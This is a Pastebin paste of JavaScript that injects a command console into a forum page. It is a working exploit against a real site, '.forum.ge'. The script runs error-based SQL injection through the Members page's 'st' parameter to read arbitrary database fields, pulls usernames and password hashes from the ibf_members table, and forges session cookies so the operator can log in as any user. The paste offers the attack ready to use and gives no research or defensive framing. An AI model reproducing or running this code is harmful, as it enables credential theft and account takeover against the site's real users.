Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- (function (window, document) {
- class CommandLine {
- constructor() {
- this.commands = {};
- this.executedCommands = [];
- this.pos = -1;
- this.user = 'anonymous';
- }
- registerCommand(name, command) {
- this.commands[name] = command;
- }
- executeCommand(command) {
- if (this.disabled) {
- if (this.view) {
- this.view.disabled = true;
- }
- return;
- }
- this.lock();
- this.write('Executing command, please wait...', CommandLine.WAITING);
- this.executedCommands.push(command);
- this.pos = this.executedCommands.length;
- let params = command.split(' ');
- let cmd = params[0];
- if (!(cmd in this.commands)) {
- this.writeLine("Unknown command: " + cmd + ".", CommandLine.ERROR);
- this.unlock();
- return;
- }
- params.splice(0, 1);
- let rawArgs = params.join(' ');
- let args = [];
- for (let i = 0, q, p, l = rawArgs.length; i < l; ++i) {
- let char = rawArgs[i];
- let arg = '';
- if (char === '"' || char === "'") {
- let q = char;
- let b = false;
- char = rawArgs[++i] || '';
- while (i < l && (char !== q || b)) {
- if (b) {
- if (char !== q) {
- arg += '\\';
- }
- b = false;
- } else if (char === '\\') {
- b = true;
- } else {
- arg += char;
- }
- char = rawArgs[++i] || '';
- }
- if (char !== q) {
- this.writeLine('Unterminated string literal.', CommandLine.ERROR);
- this.unlock();
- return;
- }
- } else {
- do {
- arg += char;
- char = rawArgs[++i] || '';
- } while (i < l && char !== ' ' && char !== "\n");
- }
- args.push(arg);
- }
- this.commands[cmd].execute.apply(this.commands[cmd], args);
- }
- write(data, type = CommandLine.INFO, onNewLine = false) {
- if (!this.view) {
- return;
- }
- let color;
- switch (type) {
- case CommandLine.ERROR:
- color = 'red';
- break;
- case CommandLine.WARNING:
- color = 'orange';
- break;
- case CommandLine.SUCCESS:
- color = 'cyan';
- break;
- case CommandLine.LOG:
- case CommandLine.WAITING:
- color = 'lightgray';
- break;
- default:
- color = 'green';
- break;
- }
- if (data[0] === "\r") {
- this.clearLine();
- data = data.substr(1);
- } else if (this.clearLastLine) {
- this.clearLine();
- }
- const line = document.createElement('span');
- line.style.color = color;
- line.innerHTML = data.replace(/\n/g, '<br>').replace(/\s/g, ' ') + (onNewLine ? '<br>' : '');
- this.lastLine = !onNewLine ? line : null;
- if (type === CommandLine.WAITING) {
- this.clearLastLine = true;
- }
- this.outputView.appendChild(line);
- this.view.scrollTop = this.view.scrollHeight;
- }
- writeLine(data, type = CommandLine.INFO) {
- this.write(data, type, true);
- }
- clearLine() {
- if (this.lastLine) {
- this.outputView.removeChild(this.lastLine);
- }
- }
- createView() {
- const self = this;
- const consoleArea = document.createElement('div');
- consoleArea.style.background = 'black';
- consoleArea.style.color = 'green';
- consoleArea.style.position = 'fixed';
- consoleArea.style.left = 0;
- consoleArea.style.bottom = 0;
- consoleArea.style.zIndex = 9999999;
- consoleArea.style.width = '100%';
- consoleArea.style.height = '30%';
- consoleArea.style.color = 'green';
- consoleArea.style.textAlign = 'left';
- consoleArea.style.overflowX = 'hidden';
- consoleArea.style.overflowY = 'auto';
- consoleArea.style.font = '100%/120% Verdana, Arial, Helvetica, sans-serif';
- let pos = null;
- consoleArea.onclick = function () {
- input.focus();
- input.selectionEnd = input.selectionStart = pos = pos !== null ? pos : input.value.length;
- };
- window.addEventListener('keyup', function () {
- pos = input.selectionStart;
- }, true);
- consoleArea.onkeydown = function (e) {
- switch (e.keyCode) {
- case 13:
- if (!e.shiftKey) {
- input.focus();
- if (pos !== null) {
- input.selectionStart = pos;
- }
- }
- break;
- case 38:
- if (self.pos > 0) {
- input.value = self.user + ': ' + self.executedCommands[--self.pos];
- input.selectionStart = input.value.length;
- }
- e.preventDefault();
- break;
- case 40:
- if (self.pos < (self.executedCommands.length - 1)) {
- input.value = self.user + ': ' + self.executedCommands[++self.pos];
- input.selectionStart = input.value.length;
- }
- e.preventDefault();
- break;
- case 37:
- if (input.selectionStart > self.user.length + 2) {
- pos = input.selectionStart;
- } else {
- e.preventDefault();
- }
- break;
- case 39:
- if (input.selectionStart < input.value.length) {
- pos = input.selectionStart;
- } else {
- e.preventDefault();
- }
- break;
- }
- };
- const outputArea = document.createElement('div');
- outputArea.style.width = '100%';
- outputArea.style.height = 'auto';
- outputArea.style.mozAppearance = 'textfield-multiline';
- outputArea.style.webkitAppearance = 'textarea';
- outputArea.style.font = 'medium -moz-fixed';
- outputArea.style.padding = '2px';
- consoleArea.appendChild(outputArea);
- const input = document.createElement('textarea');
- input.style.background = 'transparent';
- input.style.border = 'none';
- input.style.color = 'green';
- input.style.width = '100%';
- input.style.height = 'auto';
- input.style.overflow = 'auto';
- input.style.resize = 'none';
- input.style.cursor = 'default';
- input.style.font = 'medium -moz-fixed';
- input.spellcheck = false;
- input.value = this.user + ': ';
- input.onmousedown = input.onclick = function (e) {
- e.preventDefault();
- };
- input.onkeydown = function (e) {
- if (e.keyCode === 13 && !e.shiftKey) {
- if (!self.disabled) {
- self.writeLine(this.value);
- let cmd = this.value.substr(self.user.length + 2);
- this.value = self.user + ': ';
- self.executeCommand(cmd);
- } else {
- this.disabled = true;
- }
- e.preventDefault();
- } else if (e.keyCode === 8 && this.value === self.user + ': ') {
- e.preventDefault();
- }
- };
- input.onkeyup = function () {
- this.style.height = this.scrollHeight + 'px';
- };
- consoleArea.appendChild(input);
- this.view = consoleArea;
- this.outputView = outputArea;
- this.inputView = input;
- return consoleArea;
- }
- lock() {
- if (this.view) {
- const v = this.view;
- v.disabled = true;
- }
- this.disabled = true;
- }
- unlock() {
- if (this.view) {
- const v = this.view;
- v.disabled = false;
- }
- this.disabled = false;
- }
- static setCaretPosition(elem, caretPos) {
- if (elem != null) {
- if (elem.createTextRange) {
- var range = elem.createTextRange();
- range.move('character', caretPos);
- range.select();
- }
- else {
- if (elem.selectionStart) {
- elem.focus();
- elem.setSelectionRange(caretPos, caretPos);
- } else {
- elem.focus();
- }
- }
- }
- }
- static getCaretPosition(input) {
- if ("selectionStart" in input && document.activeElement == input) {
- return {
- start: input.selectionStart,
- end: input.selectionEnd
- };
- }
- else if (input.createTextRange) {
- var sel = document.selection.createRange();
- if (sel.parentElement() === input) {
- var rng = input.createTextRange();
- rng.moveToBookmark(sel.getBookmark());
- for (var len = 0;
- rng.compareEndPoints("EndToStart", rng) > 0;
- rng.moveEnd("character", -1)) {
- len++;
- }
- rng.setEndPoint("StartToStart", input.createTextRange());
- for (var pos = {start: 0, end: len};
- rng.compareEndPoints("EndToStart", rng) > 0;
- rng.moveEnd("character", -1)) {
- pos.start++;
- pos.end++;
- }
- return pos;
- }
- }
- return -1;
- }
- }
- CommandLine.INFO = 0;
- CommandLine.WARNING = 1;
- CommandLine.ERROR = 2;
- CommandLine.SUCCESS = 3;
- CommandLine.WAITING = 4;
- CommandLine.LOG = 5;
- class Query {
- constructor(query) {
- this.query = query;
- this.resultListener = undefined;
- this.errorListener = undefined;
- }
- static getFieldDataById(table, field, id, offset, resultListener) {
- return Query.getFieldData(table, field, 'WHERE id = ' + id, offset, resultListener);
- }
- static getFieldData(table, field, query, offset, resultListener) {
- const q = function (step) {
- let pos = (1 + ((step - 1) * 31));
- return 'SELECT SUBSTR(' + field + ', ' + pos + ', 31) FROM ' + table + ' ' + query + ' LIMIT ' + offset + ', 1';
- };
- const fetchData = function (data, step) {
- const query = new Query(q(step));
- query.onResult(function (query, result, rawResult) {
- data += result;
- if (rawResult.length < 31) {
- resultListener(data);
- return;
- }
- fetchData(data, ++step);
- });
- query.send();
- };
- fetchData('', 1);
- }
- onResult(listener) {
- this.resultListener = listener;
- return this;
- }
- onError(listener) {
- this.errorListener = listener;
- return this;
- }
- send() {
- const self = this;
- const request = new Request('/?act=Members&st=' + encodeURIComponent('0,1 PROCEDURE analyse((select extractvalue(0x0a, concat(0x0a, (' + this.query + ')))), 1) -- end'));
- if (this.resultListener) {
- request.onResponse(function (request, response) {
- let rawData = Query._extractQueryResult(response);
- let formattedData = Query._formatQueryResult(rawData);
- self.resultListener(self, formattedData, rawData)
- });
- }
- request.onError(this, this.errorListener);
- request.send();
- }
- static _formatQueryResult(result) {
- let txt = document.createElement("textarea");
- txt.innerHTML = result;
- return txt.value;
- }
- static _extractQueryResult(data) {
- const search = `mySQL error: XPATH syntax error: '
- `;
- const startFrom = data.indexOf(search) + search.length;
- let extractedData = '';
- for (let i = startFrom; data[i] !== "'"; ++i) {
- extractedData += data[i];
- }
- return extractedData;
- }
- }
- class Request {
- constructor(url, method = 'GET') {
- this.url = url;
- this.method = method;
- this.headers = {};
- this.data = undefined;
- this.user = undefined;
- this.password = undefined;
- this.errorListener = undefined;
- this.responseListener = undefined;
- }
- setHeader(name, value) {
- this.headers[name] = value;
- }
- setData(data) {
- this.data = data;
- }
- setCredentials(user, password) {
- this.user = user;
- this.password = password;
- }
- onError(listener) {
- this.errorListener = listener;
- return this;
- }
- onResponse(listener) {
- this.responseListener = listener;
- return this;
- }
- send() {
- const self = this;
- const request = new XMLHttpRequest;
- request.open(this.method, this.url, true, this.user, this.password);
- request.onreadystatechange = function () {
- if (request.readyState === XMLHttpRequest.DONE) {
- if (request.status === 200) {
- if (self.responseListener) {
- self.responseListener(self, request.responseText);
- }
- } else if (self.errorListener) {
- self.errorListener(self, request.statusText);
- }
- }
- };
- request.send(this.data);
- }
- }
- class Command {
- constructor(commandLine) {
- this.commandLine = commandLine;
- this.subCommands = {};
- this.summary = '';
- }
- getSummary() {
- return this.summary;
- }
- setSummary(summary) {
- this.summary = summary;
- return this;
- }
- getCommandLine() {
- return this.commandLine;
- }
- registerHelpCommand(name = 'help') {
- const base = this;
- const cml = this.getCommandLine();
- this.registerSubCommand(name, new (class extends Command {
- internalExecute() {
- let max = 0;
- for (let i in base.subCommands) {
- let summary;
- if (summary = base.subCommands[i].getSummary()) {
- if (max < i.length) {
- max = i.length;
- }
- }
- }
- for (let i in base.subCommands) {
- let summary;
- if (summary = base.subCommands[i].getSummary()) {
- let s = '';
- for (let j = 0, l = max - i.length; j < l; ++j) {
- s += ' ';
- }
- cml.writeLine(' ' + i + s + ' ' + summary);
- }
- }
- this.endExecute();
- }
- })(this.commandLine));
- }
- registerSubCommand(name, command) {
- if (command in this.subCommands) {
- throw 'Sub-command with name ' + name + ' is already registered.';
- }
- this.subCommands[name] = command;
- }
- executeSubCommand(name, args) {
- if (!(name in this.subCommands)) {
- throw 'Sub-command with name ' + name + ' does not exists.';
- }
- this.subCommands[name].execute.apply(this.subCommands[name], args || []);
- }
- execute() {
- let args = [].slice.apply(arguments);
- if (args.length > 0) {
- let sub = args[0];
- if (sub in this.subCommands) {
- args.splice(0, 1);
- this.subCommands[sub].execute.apply(this.subCommands[sub], args);
- } else {
- this.internalExecute.apply(this, args);
- }
- } else {
- this.internalExecute();
- }
- }
- internalExecute() {
- }
- endExecute() {
- this.commandLine.unlock();
- }
- }
- class QueryCommand extends Command {
- constructor(commandLine) {
- super(commandLine);
- this.setSummary('The command is used to execute MySQL SELECT queries.');
- }
- internalExecute(query) {
- const self = this;
- const cmd = this.getCommandLine();
- const q = new Query(query);
- q.onResult(function (query, result) {
- cmd.writeLine(result, CommandLine.SUCCESS);
- self.endExecute();
- });
- q.onError(function (query, error) {
- cmd.writeLine(error, CommandLine.ERROR);
- self.endExecute();
- });
- q.send();
- }
- }
- class UserCommand extends Command {
- constructor(commandLine) {
- super(commandLine);
- this.setSummary('The command is used to fetch user information.');
- const base = this;
- const cml = this.getCommandLine();
- this.registerHelpCommand();
- this.registerSubCommand('username', new (class extends Command {
- constructor(commandLine) {
- super(commandLine);
- this.setSummary('Fetches username using the specified user id.');
- }
- internalExecute(id) {
- base._getUserFieldData('name', id);
- }
- })(commandLine));
- this.registerSubCommand('password_hash', new (class extends Command {
- constructor(commandLine) {
- super(commandLine);
- this.setSummary('Fetches password hash using the specified user id.');
- }
- internalExecute(id) {
- base._getUserFieldData('password', id);
- }
- })(commandLine));
- this.registerSubCommand('login', new (class extends Command {
- constructor(commandLine) {
- super(commandLine);
- this.setSummary('Logs in user with the specified id.');
- }
- internalExecute(id) {
- base._getUserFieldData('password', id, function (passwordHash) {
- base._getUserFieldData('name', id, function (username) {
- document.cookie = 'member_id=' + id + ';domain=.forum.ge';
- document.cookie = 'pass_hash=' + passwordHash + ';domain=.forum.ge';
- document.cookie = 'anonlogin=1;domain=.forum.ge';
- document.cookie = 'session_id=;expires=Thu, 01 Jan 1970 00:00:01 GMT;domain=.forum.ge';
- cml.writeLine('You are now logged in as ' + username + ', open a new tab to view website as the given user.', CommandLine.SUCCESS);
- });
- });
- }
- })(commandLine));
- }
- internalExecute() {
- this.executeSubCommand('help');
- }
- _getUserFieldData(field, id, callback) {
- const cml = this.getCommandLine();
- if (id === undefined) {
- cml.writeLine('User id is not specified.', CommandLine.ERROR);
- this.endExecute();
- return;
- } else if (isNaN(id)) {
- cml.writeLine('Invalid id specified', id, CommandLine.ERROR);
- this.endExecute();
- return;
- }
- const self = this;
- Query.getFieldDataById('ibf_members', field, id, 0, function (res) {
- if (callback) {
- callback.call(self, res);
- } else {
- cml.writeLine(res);
- }
- self.endExecute();
- });
- }
- }
- const cmd = new CommandLine();
- cmd.registerCommand('query', new QueryCommand(cmd));
- cmd.registerCommand('user', new UserCommand(cmd));
- const cmdView = cmd.createView();
- document.body.appendChild(cmdView);
- cmdView.focus();
- })(window, document);
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement